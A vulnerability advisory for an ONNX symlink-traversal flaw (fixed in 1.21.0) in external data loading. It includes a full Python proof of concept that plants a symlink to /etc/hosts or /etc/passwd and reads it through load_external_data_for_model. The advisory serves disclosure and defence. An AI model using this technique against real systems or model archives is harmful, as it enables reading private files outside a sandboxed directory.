CVE-2026-34447

Summary - Issue: Symlink traversal in external data loading allows reading files outside the model directory. - Affected code: `onnx/onnx/checker.cc: resolve_external_data_location` used via Python `onnx.external_data_helper.load_external_data_for_model`. - Impact: Arbitrary file read (confidentiality breach) when a model’s external data path resolves to a symlink targeting a file outside the model directory. Root Cause - The function `resolve_external_data_location(base_dir, location, tensor_name)` intends to ensure that external data files reside within `base_dir`. It: - Rejects empty/absolute paths - Normalizes the relative path and rejects `..` - Builds `data_path = base_dir / relative_path` - Checks `exists(data_path)` and `is_regular_file(data_path)` - However, `std::filesystem::is_regular_file(path)` follows symlinks to their targets. A symlink placed inside `base_dir` that points to a file outside `base_dir` will pass the checks and be returned. The Python loader then opens the path and reads the target file. Code Reference - File: onnx/onnx/checker.cc:970-1060 - Key logic: - Normalization: `auto relative_path = file_path.lexically_normal().make_preferred();` - Existence: `std::filesystem::exists(data_path)` - Regular file check: `std::filesystem::is_regular_file(data_path)` - Returned path is later opened in Python: `external_data_helper.load_external_data_for_tensor`. Proof of Concept (PoC) - File: `onnx_external_data_symlink_traversal_poc.py` - Behavior: Creates a model with an external tensor pointing to `tensor.bin`. In the model directory, creates `tensor.bin` as a symlink to `/etc/hosts` (or similar). Calls `load_external_data_for_model(model, base_dir)`. Confirms that `tensor.raw_data` contains content from the target outside the model directory. - Run: - `python3 onnx_external_data_symlink_traversal_poc.py` - Expected: `[!!!] VULNERABILITY CONFIRMED: external_data symlink escaped base_dir` onnx_external_data_symlink_traversal_poc.py ```python #!/usr/bin/env python3 """ ONNX External Data Symlink Traversal PoC Finding: load_external_data_for_model() (via c_checker._resolve_external_data_location) does not reject symlinks. A relative location that is a symlink inside the model directory can target a file outside the directory and will be read. Impact: Arbitrary file read outside model_dir when external data files are obtained from attacker-controlled archives (zip/tar) that create symlinks. This PoC: - Creates a model with a tensor using external_data location 'tensor.bin' - Creates 'tensor.bin' as a symlink to a system file (e.g., /etc/hosts) - Calls load_external_data_for_model(model, base_dir) - Confirms that tensor.raw_data contains the content of the outside file Safe: only reads a benign system file if present. """ import os import sys import tempfile import pathlib # Ensure we import installed onnx, not the local cloned package _here = os.path.dirname(os.path.abspath(__file__)) if _here in sys.path: sys.path.remove(_here) import onnx from onnx import helper, TensorProto from onnx.external_data_helper import ( set_external_data, load_external_data_for_model, ) def pick_target_file(): candidates = ["/etc/hosts", "/etc/passwd", "/System/Library/CoreServices/SystemVersion.plist"] for p in candidates: if os.path.exists(p) and os.path.isfile(p): return p raise RuntimeError("No suitable readable system file found for this PoC") def build_model_with_external(location: str): # A 1D tensor; data will be filled from external file tensor = helper.make_tensor( name="X_ext", data_type=TensorProto.UINT8, dims=[0], # dims will be inferred after raw_data is read vals=[], ) # add dummy raw_data then set_external_data to mark as external tensor.raw_data = b"dummy" set_external_data(tensor, location=location) # Minimal graph that just feeds the initializer as Constant const_node = helper.make_node("Constant", inputs=[], outputs=["out"], value=tensor) graph = helper.make_graph([const_node], "g", inputs=[], outputs=[helper.make_tensor_value_info("out", TensorProto.UINT8, None)]) model = helper.make_model(graph) return model def main(): base = tempfile.mkdtemp(prefix="onnx_symlink_poc_") model_dir = base link_name = os.path.join(model_dir, "tensor.bin") target = pick_target_file() print(f"[*] Using target file: {target}") # Create symlink in model_dir pointing outside try: pathlib.Path(link_name).symlink_to(target) except OSError as e: print(f"[!] Failed to create symlink: {e}") print(" This PoC needs symlink capability.") return 1 # Build model referencing the relative location 'tensor.bin' model = build_model_with_external(location="tensor.bin") # Use in-memory model; explicitly load external data from base_dir loaded = model print("[*] Loading external data into in-memory model...") try: load_external_data_for_model(loaded, base_dir=model_dir) except Exception as e: print(f"[!] load_external_data_for_model raised: {e}") return 1 # Validate that raw_data came from outside file by checking a prefix raw = None # Search initializers for t in loaded.graph.initializer: if t.name == "X_ext" and t.HasField("raw_data"): raw = t.raw_data break # Search constant attributes if not found if raw is None: for node in loaded.graph.node: for attr in node.attribute: if attr.HasField("t") and attr.t.name == "X_ext" and attr.t.HasField("raw_data"): raw = attr.t.raw_data break if raw is not None: break if raw is None: print("[?] Did not find raw_data on tensor; PoC inconclusive") return 2 with open(target, "rb") as f: target_prefix = f.read(32) if raw.startswith(target_prefix): print("[!!!] VULNERABILITY CONFIRMED: external_data symlink escaped base_dir") print(f" Symlink {link_name} -> {target}") return 0 else: print("[?] Raw data did not match target prefix; environment-specific behavior") return 3 if __name__ == "__main__": sys.exit(main()) ```

Open Neural Network Exchange (ONNX) is an open standard for machine learning interoperability. Prior to version 1.21.0, there is a symlink traversal vulnerability in external data loading allows reading files outside the model directory. This issue has been patched in version 1.21.0.